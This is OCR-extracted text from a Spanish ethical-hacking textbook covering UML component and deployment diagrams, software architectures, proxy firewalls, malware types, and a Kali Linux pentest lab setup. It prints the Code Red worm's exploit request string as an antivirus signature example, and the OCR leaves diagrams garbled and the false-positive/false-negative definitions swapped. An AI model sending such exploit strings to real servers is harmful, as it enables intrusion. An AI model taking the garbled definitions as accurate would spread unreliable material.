dependencia (dependency), a saber, la interfaz 'conexión de base de datos' del componen- 
te Usuarios. 


El componente Autenticación no puede funcionar sin la interfaz de conexión de base 
de datos de Usuarios. La idea es “plug and play” (enchufarse y funcionar). Primero se debe 
conectar el componente Autenticación y luego usarlo. En la siguiente figura vemos una 
interfaz con un zócalo a la izquierda y una clavija a la derecha. 


Figura 4.4 Una interfaz y un conector 


Tu laptop tiene un conector (enchufe) y depende de una interfaz de alimentación (salida 
eléctrica). Un conector necesita la interfaz correcta. 


La dependencia es obviamente una característica importante entre los diferentes ob- 
jetos y componentes cuando se configura la arquitectura. 
Inyección de dependencia 


La inyección de dependencia es la solución para la dependencia entre objetos o compo- 
nentes; se trata de un principio de diseño de software que consiste en que, al conectar 
los componentes, no los conectes fijamente sino “sueltos”, 


Wikipedia ofrece un buen ejemplo práctico, a saber, la conexión de un interruptor (ca- 
ble) y una lámpara: 
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“Para poder encender y apagar la luz, es necesario conectar el interruptor y la 
lámpara. En la práctica, todos hacen eso con un tramo de cuerda. Aquí es esencial 
que tanto la lámpara como el interruptor tengan el mismo acoplamiento (estándar): 
el bloque de terminales. Con una operación simple (apretar un tornillo), la conexión 
se realiza sin necesidad de cambiar o ajustar la lámpara o el interruptor. El acopla- 
miento está suelto: ni la lámpara ni el interruptor están especialmente diseñados 
para ser utilizados con el otro. También se puede usar otra lámpara (de una marca 
o tipo diferente), varias lámparas o uno o más (otros) interruptores. 


Compara eso con una lámpara de pie que tiene un interruptor incorporado: la 
lámpara también funciona pero el acoplamiento es fijo. Es casi imposible usar otro 
interruptor”. 


Con la ayuda de la inyección de dependencia es posible desarrollar los componentes 
por separado y luego conectarlos. Decimos que los objetos requeridos deben inyectarse 
en el nuevo objeto. Hay varias maneras de lograr esto, un buen programador puede es- 
cribir su propio código o usar un marco (o herramienta) que lo haga por ti. 


Componentes con puertos 


Usamos los puertos en los componentes para describir ‘servicios’, éstos necesitan un 
puerto con entrada y salida; cada uno de ellos tiene tráfico de datos bidireccional. El 
siguiente diagrama muestra un componente con un servicio de inicio de sesión (interfaz) 
que depende de una interfaz de base de datos. 


inicio de sesión 


Autenticación 
— base de datos 


Figura 4.5 Componente con puerto 


Un componente de base de datos 


Un modelo de datos describe la información estática en bases de datos tales como la 
estructura, las entidades de los mismos y las relaciones entre las entidades. Un ERD es 
un diagrama de relaciones entre entidades que describe a éstas (tablas) y a las relacio- 
nes entre las tablas de una base de datos. Indicamos las relaciones por medio de claves 
primarias y foráneas. En la siguiente figura, observamos un componente para una base 
de datos con una interfaz, donde se pueden conectar a dicha base otros componentes 
con el conector correcto. 
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interfaz 


Base de datos 


puerto 3306 


Figura 4.6 Componente de base 


A continuación, simplificamos la realidad y abstraemos la complejidad de los modelos de 
datos y la elaboración en un diagrama de ERD. 


Mostramos: 


+ Los componentes y su interactividad 
+ Las áreas de almacenamiento de datos utilizadas (un archivo de bases de datos) 
+ Cómo fluyen los datos dentro del sistema 


Estos son aspectos importantes en el contexto de la seguridad. En el siguiente diagrama, 
vemos un ejemplo de un servicio de autenticación, el cual agrega una interface de inicio 
de sesión al navegador y se conecta con la de conexión del componente Base de datos. 


Autenticación | ( Base de datos 


conexión puerto 3306 


Figura 4.7 Servicio de autenticación 


Se observa una conexión de puerto y cómo la interface de inicio de sesión (un formulario 
con los datos del usuario, generalmente con su nombre y contraseña) del componente 
Autenticación conduce al componente del navegador. También vemos cómo los datos 
fluyen de la base de datos al componente Autenticación a través de la conexión de la 
Base de datos. 


Una estructura de servicio consiste en la interacción entre componentes. Es posible 
que algunos se desarrollen de manera independiente uno del otro. Por ejemplo, el com- 
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ponente de la base de datos puede desarrollarse independientemente del de autentica- 
ción. En la siguiente figura vemos un diagrama con componentes para una arquitectura 
orientada a servicios (SOA, o Service Oriented Architecture). 


La arquitectura orientada a servicios se estudia más ampliamente en la sección 4.3.3. 
La característica más importante de una SOA es que los servicios se ejecutan con in- 
dependencia de los sistemas operativos, lenguajes de programación y otras técnicas 
utilizadas en la aplicación que piden los servicios; por lo general, hay servicios en la red. 


etag Recursos: 
GET > 
Navegador PON 3 API 
get() 
post() 
Ponh Servidor de 
HTTP "e -Œ archivos 
Navegador GET Recursos: 
—PoST (@—i datos sa j 
pí ————=- Servidor de 
base de datos 
Cliente Servidor web Almacenamiento 


Figura 4.8 Componentes para una arquitectura orientada a servicios 


Componentes dentro de los componentes 


Podemos diseñar componentes dentro de los componentes; en el siguiente diagrama, 
tenemos uno de la tienda en la red con uno de autenticación. En este caso, indicamos 
que la ‘base de datos’ de dependencia proviene desde fuera del componente de la tien- 
da en la red. 


Tienda en la red 
paa 
En 
9-0 — 
Navegador Base de datos 


Figura 4.9 Componente con componente 
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LABORATORIO 4.41 Componentes de Laboratorio a 


Abre tu software UML, por ejemplo, Astah o Lucidcharts y completa el siguiente 
diagrama de componentes de la figura 4.10. 


+ Crea un componente “Realizar pedido” en la tienda de la red 
+ Especifica las interfaces necesarias y los enchufes de los componentes 


Tienda en la red Base de datos 


Orden 
Figura 4.10 Componentes con componentes 


4.2.2 Diagrama de despliegue de UML 


Un diagrama de despliegue (deployment diagram) mapea los componentes físicos (hard- 
ware) para los que usaremos los componentes del software (to deploy: implementar, usar, 
aplicar). Además, muestra cómo se comunicarán el hardware y el software; describe el 
equipo físico en el que se ejecutarán los componentes del software y las relaciones entre 
los equipos, como PC, archivos y redes. Asimismo, utilizamos los diagramas de desplie- 
gue para analizar el rendimiento y la seguridad en sistemas de información o informáticos. 


En el siguiente diagrama de despliegue, vemos que los componentes de software se 
utilizan en diferentes equipos de hardware. 


Componentes: Elementos de software 

Dependencia: Dependencia entre componentes 

Interfaz: Es un contrato por el cual un componente está obligado a hacer 
algo específico 

Nodo: Un objeto de hardware o software 

Contenedor: Un nodo con nodos 


Un nodo está representado por una caja. En la siguiente figura, se observa un ejemplo de 
diagrama de despliegue. 
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<<Dispositivo>> 


<<Dispositivo>> 
Servidor web 


<<protocolo>> 


HTTP 


PC 
= 
e 


Figura 4.11 Diagrama de despliegue 


LABORATORIO 4.2 Diagrama de implementación A 
En este ejercicio de laboratorio, dibuja el siguiente diagrama de despliegue: 


+ Nodo 1: PC 
Componente: Navegador 
Con una dependencia del servidor web 
+ Nodo 2: Servidor web 
Componente: Servidor Apache 
Con una interfaz de servidor web-navegador 


4.2.3 Diagrama de flujo de datos UML (DFD) 


Un diagrama de flujo de datos (DFD o Data Flow Diagram) es una representación gráfica 
de la corriente de datos y muestra las relaciones entre los componentes de un sistema. 
También muestra los momentos vulnerables de la corriente de información. En la siguien- 
te figura se observan los elementos de dicho diagrama. 


Una entidad externa puede 
ser gente u otro sistema 


rro Código nativo o ejecutable 


Almacén de datos Datos almacenados 
/ Tales como datos de la red 
Flujo de datos o parámetros de funciones 
Arn 
N Demarcación de zonas 


c críticas en el flujo de datos 
Zonificación 


Figura 4.12 Elementos del flujo de datos 
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En el siguiente diagrama, se observa que el flujo de datos entre el cliente y el proceso 
Ordenar una nueva laptop en el servidor puede ser vulnerable. Por esta razón, la contra- 
seña del cliente debe estar encriptada. 


— 
v 


EN Ordernar 


Laptop 
e. .. o _ 
Zonificación 
navegador y servidor 


Ord e Sistema 


"W externo de 
pagos 


Figura 4.13 Flujo de datos de un proceso 


LABORATORIO 4.3 Diagrama de flujo de datos A 


En este ejercicio de laboratorio se debe dibujar el diagrama de flujo de datos 
anterior. Agrega las dos zonificaciones críticas en el flujo de datos. 


4.3 + Patrones de arquitectura de software 


Un patrón es la descripción de un conjunto de subsistemas claramente definidos, compo- 
nentes de software y las relaciones, y propiedades del software y el hardware. 


La designación ‘patrón’ es bastante abstracta; por lo general, se menciona una cier- 
ta arquitectura. Las arquitecturas son un lenguaje de programación neutro; por ejemplo 
cliente-servidor, donde varios clientes formulan solicitudes que el servidor contesta. 


Una forma especial de arquitectura cliente-servidor es Peer to Peer (P2P), es de red y 
en ella todos los pares (PC) comparten la misma responsabilidad. Por ejemplo, todos los 
pares son servidor y cliente al mismo tiempo. Cada computadora puede compartir sus 
propios archivos con otras. La funcionalidad general de P2P es compartir el contenido. El 
siguiente diagrama de despliegue describe este tipo de arquitectura. 
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<<Dispositivo>> 
PC 


<<Dispositivo>> 


<<protocolo>> 


PC 
Eu ——.  __._— E 
HTTP/FTP == 


<<protocolo>> 


t l 
HTTPIFTP == 


<<Dispositivo>> 


PC 
=a 
==] 


Figura 4.14 Arquitectura P2P 


Ahora examinemos las tres arquitecturas de software más comunes: 


+ Arquitectura Orientada a Objetos (OOA, Object Oriented Architecture) 
+ Arquitectura Orientada a los Recursos (ROA, Resource Oriented Architecture) 
+ Arquitectura Orientada a Servicios (SOA, Service Oriented Architecture) 


4.3.1 Arquitectura Orientada a Objetos (OOA) 


En Object Oriented Architecture (en español se usa el término análisis orientado a ob- 
jetos) la comunicación se ejecuta a través de objetos; éstos son una especie de función 
manifiesta. Cada objeto representa algo que muestra su comportamiento en un sistema, 
además tienen un ciclo de vida que puede atravesar varios estados. La comunicación es 
de estado, es decir que un objeto puede comunicarse con otros previamente creados, 
o más simplemente: un proceso de comunicación de estado dispone de información an- 
ticipada. Esto contrasta con la ausencia de estado: cada paquete de comunicación se 
considera independiente, sin que se almacene información anticipada. Más tarde volve- 
remos a este tema. 


Model View Controller (MVC) 


Gran cantidad de software orientado a objetos se ha desarrollado con el patrón Model 
View Controller (MVC). En la siguiente figura se observa el patrón Model View Controller 
(Modelo, Vista, Controlador) de forma esquemática: 
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Vista > Controlador 
Modelo 


Figura 4.15 Patrón MVC 
En esta arquitectura, los componentes desempeñan diferentes papeles: 


+ Componente View (vista) 
Obtiene la entrada del usuario 
Obtiene consultas de datos del modelo 


+ Componente Controller (controlador) 
Responde a la entrada del usuario 
Puede actualizar View (vista) 

Puede actualizar el modelo 


+ Componente Model (modelo) 
Obtiene acceso al almacenamiento de datos 
Realiza operaciones de datos para el controlador 
Puede actualizar View (vista) 


En la siguiente figura, se observa un ejemplo de diagrama de flujo del patrón MVC. En un 
diagrama de este tipo, la secuencia de tiempo es central. 


actualizar() 


mostrarConfirmación() 


Figura 4.16 Diagrama de secuencia de un patrón MVC 
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Ahora, se observa un diagrama de despliegue de un patrón MVC. 


<<Dispositivo>> 
servidor web 


<<Ejecutable>> 


Figura 4.17 Nodo dentro de otro en un diagrama de despliegue 


LABORATORIO 4.4 Dependencias A 


Para este ejercicio de laboratorio considera el diagrama de desplieguie que se 
muestra en la figura 4.18. Dibuja el diagrama y complétalo de la siguiente manera: 
dibuja los protocolos y las dependencias entre los nodos y los componentes en 
el diagrama. 


<<Dispositivo>> 
Servidor de datos 


Figura 4.18 Dibujo de protocolos y dependencias de los nodos y componentes 
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4.3.2 Arquitectura Orientada a Recursos (ROA) 


Resource Oriented Architecture es una arquitectura cliente-servidor o de solicitud/res- 
puesta que sirve para recuperar información en forma de documentos de la red. Algunos 
ejemplos son: 


Recuperar una página web con el método HTTP GET 

Recuperar un informe de una base de datos con el comando SQL SELECT 
Descargar un archivo paf 

Cambiar una base de datos con el comando SQL UPDATE 


+ è . + 


Las arquitecturas orientadas a recursos son sin estado. 


Sistemas stateless (sin estado) 


Las operaciones y comunicaciones en un sistema de ROA son stateless (sin estado), lo 
que significa que una operación no sabe nada sobre la anterior. Por ejemplo, la operación 
de recuperar una página web no sabe si la de descarga anterior ha finalizado. En esta 
arquitectura no es el sistema en sí, sino el usuario quien tiene conocimiento del estado de 
las operaciones anteriores. En arquitecturas orientadas a recursos, el usuario recibe una 
copia o un ejemplar del documento original que reside en el servidor. 


Otro ejemplo de un sistema sin estado es la situación en la que el usuario A recupera 
una copia de los datos de una base y luego el usuario B la actualiza. En este caso, la copia 
de la base de datos del usuario A no se actualiza automáticamente. Para ver el nuevo 
estado de dicha base, el usuario A debe recuperar (refrescar) los datos. A continuación se 
muestra un diagrama de flujo de un ejemplo de arquitectura orientada a recursos. 


Solicitud HTTP/HTTPS 


| Entidades 


Manejador de entidades 


Respuesta Representación de entidad 


Figura 4.19 Arquitectura Orientada a los Recursos 


Los recursos (entidades) deben tener un URI o Uniform Resource Identifier (identificador 
uniforme de recursos) que funciona de forma estandarizada para identificar fuentes en In- 
ternet; por ejemplo, URL es un nombre estructurado que hace referencia a una ubicación 
particular en Internet. El URL localiza URI. 
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Patrón de datos compartidos 


El patrón de datos compartidos permite que dos aplicaciones diferentes compartan los 
datos de la misma base. El patrón puede volverse complejo cuando los límites de los pro- 
cesos sean difíciles de definir. 


En la siguiente figura, vemos un diagrama de despliegue de ROA con una base de da- 
tos compartida. 


<<Dispositivo>> 
Servidor web 


<<Dispositivo>> 
Servidor de datos 


<<Dispositivo>> 
Servidor web 


Figura 4.20 Diagrama de despliegue ROA 


<<protocolo>> 


Sistemas de paso de mensajes 


Una variante de los sistemas de ROA son los Message Passing Systems (sistemas de 
paso de mensajes), en los cuales pueden existir más copias de un documento original 
para cuando otros usuarios soliciten el mismo documento. Un ejemplo es cuando el 
usuario A requiere un documento y luego el usuario B lo actualiza. En este caso se 
realizan los cambios del usuario B en el documento original, mientras que las copias de 
los usuarios A y B efectivamente se actualizan automáticamente. Esto se hace con la 
ayuda de las técnicas de mensajes de publicación/suscripción. En la siguiente figura, 
vemos un diagrama de flujo de un ROA. 


4.3.3 Arquitectura Orientada a Servicios (SOA) 


Un sistema orientado a servicios (Service Oriented) es un método donde dos aplicacio- 
nes o componentes se comunican entre sí a través de Internet; con él, las aplicaciones 
pueden solicitar un servicio específico desde otro servidor. También llamamos a este 
enfoque un servicio en la red. 
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Cliente B 


recurso D 


Respuesta 
recurso D 


ME: = Actualiza g 


recurso D 


Renueva 
representación 


D 


Figura 4.21 Mensajes de ROA 


Hay dos tipos de servicios en la red: 


+ Protocolo Simple de Acceso a Objetos (SOAP) 
+ Representational State Transfer (REST) 


Protocolo Simple de Acceso a Objetos (SOAP, Simple Object Access Protocol) 


SOAP utiliza diferentes protocolos de transporte como HTTP y SMTP. Todas las solicitu- 
des se envían a un ‘punto final’ de servicio o diccionario. La comunicación es sin estado. 
El punto final de servicio recibe al servicio en la forma de un ‘sobre o ‘carga útil y decide 
cómo lo ejecutará. Todos los servicios deben tener su propia interface, misma que descri- 
be el formato de la envolvente y de la carga útil. 


SOAP es más adecuado para sistemas cerrados, donde todos los usuarios son conoci- 
dos con anticipación. La siguiente figura es un diagrama de flujo de un ejemplo de SOAP. 


Solicitud SOAP 


Servidor 2. 


GET servicio 


Manejador 


de servicios 
—Ọ— 


Recurso(representación) 


Figura 4.22 SOAP 


Aquí vemos un servicio en la red simple que solicita información de un servidor; el 
módulo de servicio recupera la información de la base de datos de un segundo ser- 
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vidor, mientras que el cliente y los servidores se comunican con SOAP. El diagrama 
de flujo muestra: 


El cliente codifica la solicitud como una SOAP 

El servidor 1 decodifica la solicitud y realiza el método de servicio 
El servidor 1 codifica la respuesta como una respuesta SOAP 

El cliente se vale del servicio 


+ è% . e 


Representational State Transfer (REST o transferencia de estado de representación) 


En los últimos años, REST ha recibido muchos más seguidores que SOAP. REST no es un 
protocolo, sino una arquitectura con la que se pueden transportar datos a través de las 
interfaces estándar de HTTP. 


Un sistema RESTful garantiza la interoperabilidad entre los sistemas informáticos en 
Internet. Un usuario puede solicitar un servicio en la red RESTful con el URI del recurso 
deseado; el resultado es que se recibe una representación del recurso en forma de do- 
cumento XML, HTML o JSON (JSON o JavaScript Object Notation es un formato de datos 
estandarizado, utiliza texto legible en forma de objetos de datos que constan de uno o 
más atributos de valor asociado. Se utiliza principalmente para el intercambio de datos 
entre el servidor y las aplicaciones en la red, como una alternativa a XML.), por ejemplo, 
la respuesta puede ser una confirmación de un recurso actualizado. 


Las posibles operaciones HTTP en una aplicación REST son las siguientes: 


GET (lectura) 

POST (crear) 

PATCH (actualización) 
PUT (actualizar/crear) 
DELETE (borrar) 


+ .. .. è + 


La interoperabilidad entre sistemas informáticos sólo es posible mediante la estandariza- 
ción. La interoperabilidad RESTful usa los siguientes estándares: 


Direcciones y nombres de recursos (URI) 

Interfaces genéricas de origen (HTTP GET, POST, PTCH, PUT, DELETE) 
Representación de recursos en forma de HTML, XML, GIF, JPEG, JSON, etc. 
Tipos de medios (texto y html) 


9... e 


REST es muy adecuado para implementar servicios en la red, los beneficios son: 


+ Escalabilidad (la propiedad de que un sistema pueda expandirse fácilmente en 
términos de capacidad y potencia de procesamiento) 

+ Almacenamiento en caché (los datos se pueden almacenar en el caché del nave- 
gador o del servidor de tal forma que nuevamente se puedan servir rápidamente) 

+ Seguridad 
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La mayoría de los servicios en la red REST utilizan JSON como representación de recur- 
sos. Los beneficios de usar JSON son: 


+ Simplicidad 
+ Legibilidad 
+ Flexibilidad 


A continuación se muestra un diagrama de flujo de un estilo de arquitectura REST: 


Solicitud http/https 2 


Cliente API de terceros Base de datos 


REST sobre http/https GET servicio 


Respuesta http/https Respuesta REST 


Recurso(representación) 


Figura 4.23 Diagrama de flujo RESTful 


Las interfaces de programa de aplicación (API, Application Program Interfaces) son pro- 
gramas que se comunican con otro software. Estudiaremos API de terceros y propias en 
el último capítulo. 


4.4 + Arquitectura de servidor Proxy 
Un sistema distribuido es un modelo donde instalamos componentes en varias compu- 
tadoras de red para realizar el mismo servicio. Los ejemplos son Intranet y bases de 
datos distribuidas, donde ejecutamos copias de una base en diferentes servidores de da- 
tos, mientras que los sistemas distribuidos tienen la importante ventaja de ser rápidos. 

Un servidor proxy actúa como una interfaz o intermediario entre dos puntos finales de 
una conexión cliente/servidor. Con los servidores proxy se protege la red contra ranso- 
mware, gusanos (worms), troyanos y bots. 

Los servidores proxy realizan las siguientes funciones: 

+ Cortafuegos (firewalls) y filtrado 

+ Escalabilidad 


+ Almacenamiento en caché de datos 


Aquí se trata con la arquitectura del servidor proxy porque el uso de servidores de este 
tipo hace posible prevenir o evitar numerosas amenazas inherentes al uso de Internet. 


El siguiente diagrama de flujo describe un servidor proxy entre un cliente y servidor. 
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Servidor proxy 


Solicitud 


l Servidor 


Solicitud 


B—oọ 


Respuesta 


Respuesta 


Figura 4.24 Diagrama de flujo 


4.4.1 Cortafuegos (firewalls) y filtrado 


Los cortafuegos estándar operan en las capas inferiores del modelo OSI. Un firewall es- 
tándar puede filtrar a nivel de puerto y dirección IP. Los cortafuegos de los servidores 
proxy operan en la capa de aplicación del modelo OSI y brindan una mejor protección 
porque podemos filtrar los datos en las solicitudes y respuestas HTTP. La siguiente figura 
describe una topología de red con cortafuegos externos e internos. 


Clientes 


Firewall gateway Firewall 


externo alinternet interno 


ET -aHa 


Servidor 
proxy 


servidor 


Figura 4.25 Topología de red 


Malware (software malicioso) 


Malware es un software que aprovecha las vulnerabilidades de un sistema; es un nom- 
bre colectivo y también se llama software malicioso. El firewall en el servidor proxy debe 
poder escanear archivos para diferentes tipos de malware. 


Los tipos más comunes de malware son: 


Virus 
Gusanos 
Troyanos 
Bots 


+ è% è e. 
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El malware o software malicioso puede replicarse y propagarse de una computadora 
a otra. Las diferencias entre los cuatro tipos de malware se enumeran a continuación. 


Virus 


Un virus informático inyecta una copia de sí mismo dentro de otro programa y puede 
propagarse desde allí e infectar a otras computadoras. 


Figura 4.26 Virus 


Un virus de computadora no puede activarse solo, sino cuando se está ejecutando el 
programa anfitrión, éste debe ser ejecutable. Los virus informáticos pueden dañar tanto 
datos como al programa anfitrión o multiplicarse y hacer un uso incorrecto total de la 
Unidad Central de Procesamiento (CPU) creando una Denegación de Servicio (DoS o 
Denial-of-Service). Los virus se propagan como archivos adjuntos de correo electrónico 
infectados o cuando los usuarios comparten archivos a través de la red. 


Gusanos 


Los gusanos informáticos no requieren un programa anfitrión para distribuirse y activarse. 


Figura 4.27 Gusano 


Los gusanos son ejecutables stand-alone (independientes) que se distribuyen en forma 
de paquetes de datos a través de las vulnerabilidades de las redes, o incrustados en 
documentos de texto en archivos adjuntos de correo electrónico. Usan el protocolo File- 
Transport FTP para propagarse. 
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Troyanos 


Un troyano es muy similar al software legal. Los usuarios son engañados y convencidos 
de abrir y ejecutar el software en su sistema. 


Figura 4.28 Troyano 


Los troyanos no pueden propagarse solos, son las acciones de los usuarios que los pro- 
pagan y los activan. Estas acciones pueden ser desde abrir correos electrónicos o des- 
cargar y ejecutar archivos. Un ejemplo de un troyano es un registrador de teclas que 
guarda las pulsaciones del teclado y las envía a otro sistema. 


Bots 


Bot es la abreviatura de ‘robot. Un bot de malware es un proceso automatizado que 
colabora con otros servicios de red. 


Figura 4.29 Malware bot 


Un bot se propaga y se activa solo, utiliza vulnerabilidades tales como las puertas traseras 
en el sistema. Una puerta trasera es una entrada ilegal en un sistema que pasa por alto 
los mecanismos de autenticación estándar. Un virus puede crear una puerta trasera en 
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el software para que los piratas informáticos puedan acceder fácilmente al sistema. Los 
programadores pueden dejar abiertas inadvertidamente puertas traseras para los bots y 
los hackers, tales como cuentas de prueba en una aplicación para los bots y los hackers. 


Se llama botnet a un grupo de servidores infectados con bots. Los botnets se contro- 
lan desde un servidor de comando y control (C&C). Así, los hackers realizan ataques DoS 
desde un C&C y pueden abrir puertas traseras en el sistema. Al actualizar continuamente 
el sistema operativo (OS) y proporcionar parches, es posible cerrar estructuralmente las 
puertas traseras. 


Software antivirus 


La mayoría de los paquetes antivirus son frecuentemente actualizados para detectar los 
últimos virus. Aún así, puede ser que un escaneo antivirus pueda cometer los siguientes 
errores: 


Una detección falsa positiva sucede cuando un programa se detecta como malware 
incorrectamente, esto puede suceder cuando la definición de un virus es demasiado am- 
plia hasta incluir otros programas además del mismo. 


Una detección positiva falsa sucede cuando un programa antivirus no detecta un virus 
existente; esto sucede cuando el programa antivirus no se ha actualizado. 


Signatura de un virus 


Una signatura de un virus es una cadena única de bits, el llamado patrón del virus. Éste 
es la huella digital que identifica a un virus específico; un programa antivirus escanea la 
memoria y el disco de la computadora y detecta las signaturas de los virus conocidos 
para luego eliminarlos. Enseguida se ve un ejemplo de la signatura o huella digital del 
gusano Code Red: 


/default . 1da?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN 
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN 
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN 
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN 
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN %u9090%u6858%ucbd3 
%u7801%u9090%u6858%ucdb3%u7801%u9090%U6858 %ucbd3%u7801%u9090 
%u9090%u8190%u00c3%u0003%ub00%u531b%u53f+f %u0078%UQQ00%UQO=a HTTP/1.0 


4.4.2 Escalabilidad de la arquitectura 


El hardware y el software se implementan y desarrollan según los deseos de los usuarios, 
se trata de variables y, por lo tanto, sus requisitos también pueden cambiar por la escala. 
Por ejemplo, si hay más demanda de un servicio específico en la red que lo manejado por 
la capacidad del hardware o software, podemos aumentar la escala de la arquitectura y 
usar más capacidad para cualquiera de los dos. 
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Un equilibrador de carga realiza la escalabilidad del software, éstos pueden implementar- 
se en el servidor proxy de la compuerta. La siguiente figura muestra un esquema de una 
red con escalabilidad implementada. 


3 
Clientes 3 
Firewall Gateway Firewall kA 
externo interno 
3 o 5 
1-4) ef ; 
C n Equilibrador ME 
Servidor de carga 
AA 
proxy 


Figura 4.30 Esquema con escalabilidad 


En esta arquitectura es posible implementar un servicio en la red en diferentes servido- 
res. El equilibrador de carga asegura que el tráfico de datos en los servidores esté dis- 
tribuido uniformemente. El servicio en la red debe ser independiente de otros; es decir, 
debe ser un proceso con su propio almacenamiento de datos. El diagrama de despliegue 
de una arquitectura distribuida es el siguiente: 


<<Dispositivo>> 
servidor web 1 


<<Dispositivo>> 
servidor web 2 


<<Dispositivo>> 
servidor web3 


Figura 4.31 Despliegue de una arquitectura distribuida 
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4.4.3 Almacenamiento en caché de datos 


El almacenamiento de datos en un medio veloz para tener un acceso rápido a éstos se 
llama almacenamiento en caché. Un servidor proxy ofrece oportunidades para ello, pues 
tiene las siguientes ventajas: 


+ Mayor ancho de banda de red 
+ Tiempo de respuesta más corto 
+ Mayor disponibilidad de contenido 


Debido a que las páginas solicitadas en la memoria caché están disponibles temporalmen- 
te para nuevas solicitudes, se sirven más rápidamente. La siguiente figura describe una 
arquitectura con servidor proxy con un caché. 


S 
2 
Clientes Firewall Gateway Caché Firewall a 
externo interno . 
5 
$ 
TRO a E 
= s - 
yd Servidor Equilibrado 
proxy de carga E 
3 
È 
S 


Figura 4.32 Arquitectura con servidor proxy 


4.4.4 Servidores proxy web 


Los servidores proxy web son un tipo específico de servidores proxy: todos los clientes 
en una red local pueden acceder conjuntamente a Internet a través de él, almacenan- 
do en caché todo el tráfico HTTP o FTP con una importante ventaja de velocidad si 
solicitan las páginas web desde la memoria de dicho servidor. 


Un servidor proxy web también ofrece servicios a los usuarios de Internet, como la 
navegación anónima pues oculta la dirección IP pública. A continuación se enumeran 
algunos servidores proxy web gratuitos: 


hide.me 
hidemyass 
anonymouse 
hide and go surf 


6 .. 0. e 


La figura 4.33 muestra una lista con el país, la dirección IP y los números de puerto de 
servidores proxy web. 
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País Dirección IP Puerto Tipo 
107 Korea 183.111.169.207 3128 HTTP 
BE united States 54.157.185.100 10000 HTTP 
a Netherlands 185.92.220.84 3128 HTTP 
=> 
a Russian Federation 91.221.61.126 3128 HTTP 
BE united States 173.255.143.184 80 HTTPS 
£ United States 75.66.83.12 80 HTTPS 


Figura 4.33 Servidores proxy web 


LABORATORIO 4.5 Diagrama de implementación A 
Crea un diagrama de despliegue donde puedas tener el tráfico del correo 


electrónico manejado por más servidores de correo. Agrega un servidor proxy 
con los componentes de caché y equilibrador de carga. 
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Organización de 
un ambiente Pentest 


Objetivos de aprendizaje 


Al final de este capítulo, deberás dominar los siguientes conocimientos 
y habilidades: 


+ La configuración de un ambiente virtual Pentest 
+ La configuración de un ambiente de desarrollo virtual 
+ La realización de la comunicación de red entre máquinas virtuales 
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5.1 + Introducción 


Las pruebas de penetración o Pentest a corto plazo permiten analizar los riesgos del 
software ampliado durante la fase de producción y antes de la fase de aceptación. 
Para el ambiente de prueba, creamos uno virtual con VirtualBox y colocamos en él una 
imagen virtual de Kali Linux. Elegimos estas dos herramientas porque son paquetes de 
código abierto. 


Con la ayuda de una pila LAMP y otras herramientas prácticas, creamos un entorno 
seguro de Pentest. 


Hay tres formas de pruebas Pentest: 


+ Prueba de caja negra (Blackbox): Tratamos de atacar el software sin el conocimien- 
to de la infraestructura y el funcionamiento del mismo. Esta es la forma menos 
efectiva de las pruebas Pentest. 

+ Pruebas de caja gris (Greybox): Tratamos de atacar el software con poco conocimien- 
to de la infraestructura y el funcionamiento interno del mismo. Las pruebas de caja 
gris son más efectivas que las de caja negra. 

+ Prueba de caja blanca (Whitebox): Tratamos de atacar el software con toda la infor- 
mación sobre la infraestructura y el código fuente. Esta es la forma más efectiva de 
las pruebas Pentest. 


5.2 + Configuración de Pentest 
Debido a que se practicará con aplicaciones inseguras, es importante crear un ambiente 
seguro. La siguiente figura muestra un boceto de la configuración que se creará para las 


pruebas Pentest: 


Host OS 


Figura 5.1 Boceto de configuración 
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En esta configuración, creamos un triángulo virtual dentro de un sistema operativo anfi- 
trión (host), el cual controla a la computadora física. En la siguiente figura se muestra la 
configuración deseada: 


ya 2 


New Settings Por 


A reliable 
[e -/ Running 


VirtualBox 1 


Figura 5.2 Configuración 


En la figura anterior vemos un MacOS como sistema operativo anfitrión (host). Puedes ver 
la configuración a continuación: 


+ MacOS con 
O VirtualBox 1 con 
— Kali Linux con 
- VirtualBox 2 con 


. Una máquina virtual para el cliente 
. Una máquina virtual para la aplicaciones vulnerables owasp-bwa 


5.3 + Cómo instalar una VirtualBox 


En este primer paso instalamos una “caja virtual”, la cual es un paquete de software que 
hace posible implementar un sistema operativo diferente dentro de un ambiente virtual. 
Ahora se instala Oracle VirtualBox con la descarga desde el siguiente enlace: 


https://virtualbox.uptodown.com/mac/descargar 


Gabriel Sánchez Cano Seguridad cibernética: Hackeo ético y programación defensiva 93 


A 
Capítulo 5 Organización de un ambiente Pentest ÁA Alfaomega 


Aquí puedes descargar VirtualBox para Linux, Windows o MacOS X. Después de la descar- 


ga verás la siguiente pantalla: 


Oracle VM VirtualBox Manager 


Welcome to VirtualBox! 


The left part of this window is a list of all virtual machines on your computer. 
The list is empty now because you haven't created any virtual machines yet. 


In order to create a new virtual machine, press b i e 

the New button in the main tool bar located at p” Xx 

the top of the window. Ss de 
LA 

You can press the 36? key to get instant help, or f 

visit www.virtualbox.org for the latest information E Y 

and news. Uy 


Figura 5.3 Instalar VirtualBox 


También será necesario descargar e instalar la extension: La Oracle VM VirtualBox Ex- 


tension Pack 


¡Bienvenido a VirtualBox! 


La parte izquierda de esta ventana es para listar todas las máquinas virtuales en tu caja 


virtual. 


La lista está vacía ahora porque todavía no se ha creado ninguna máquina virtual; para 
ello, presiona el botón New (Nuevo) en la barra principal de Herramientas, ubicada en la 


parte superior de la ventana. 


Puedes presionar la tecla CONTROL-? para obtener ayuda instantánea, o visitar 
www.irtualbox.org para la información más reciente y las últimas noticias. 


Ahora que hemos instalado VirtualBox, podemos hacerlo también con máquinas 
virtuales dentro del cuadro. Esto nos permite ‘rodar’ diversas máquinas con distintos 
sistemas operativos en paralelo. Se puede encontrar más información sobre 
VirtualBox en el siguiente enlace: 


http://www.wvirtualbox.org/manual/ 
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5.4 + Cómo instalar la máquina virtual Kali Linux 
Kali Linux es una versión de Linux especialmente diseñada para expertos forenses digi- 
tales (forense digital) y para las pruebas Pentest. Instalaremos una imagen virtual de Kali 
Linux en nuestra VirtualBox. 
LABORATORIO 541 Cómo instalar Kali Linux 1 
Ve al siguiente enlace y observa las diferentes imágenes de Kali Linux. 


https://www.kali.org/ 


Haz clic en Downloads (Descargas). Verás la siguiente pantalla: 


K A LI Blog Downloads Training 


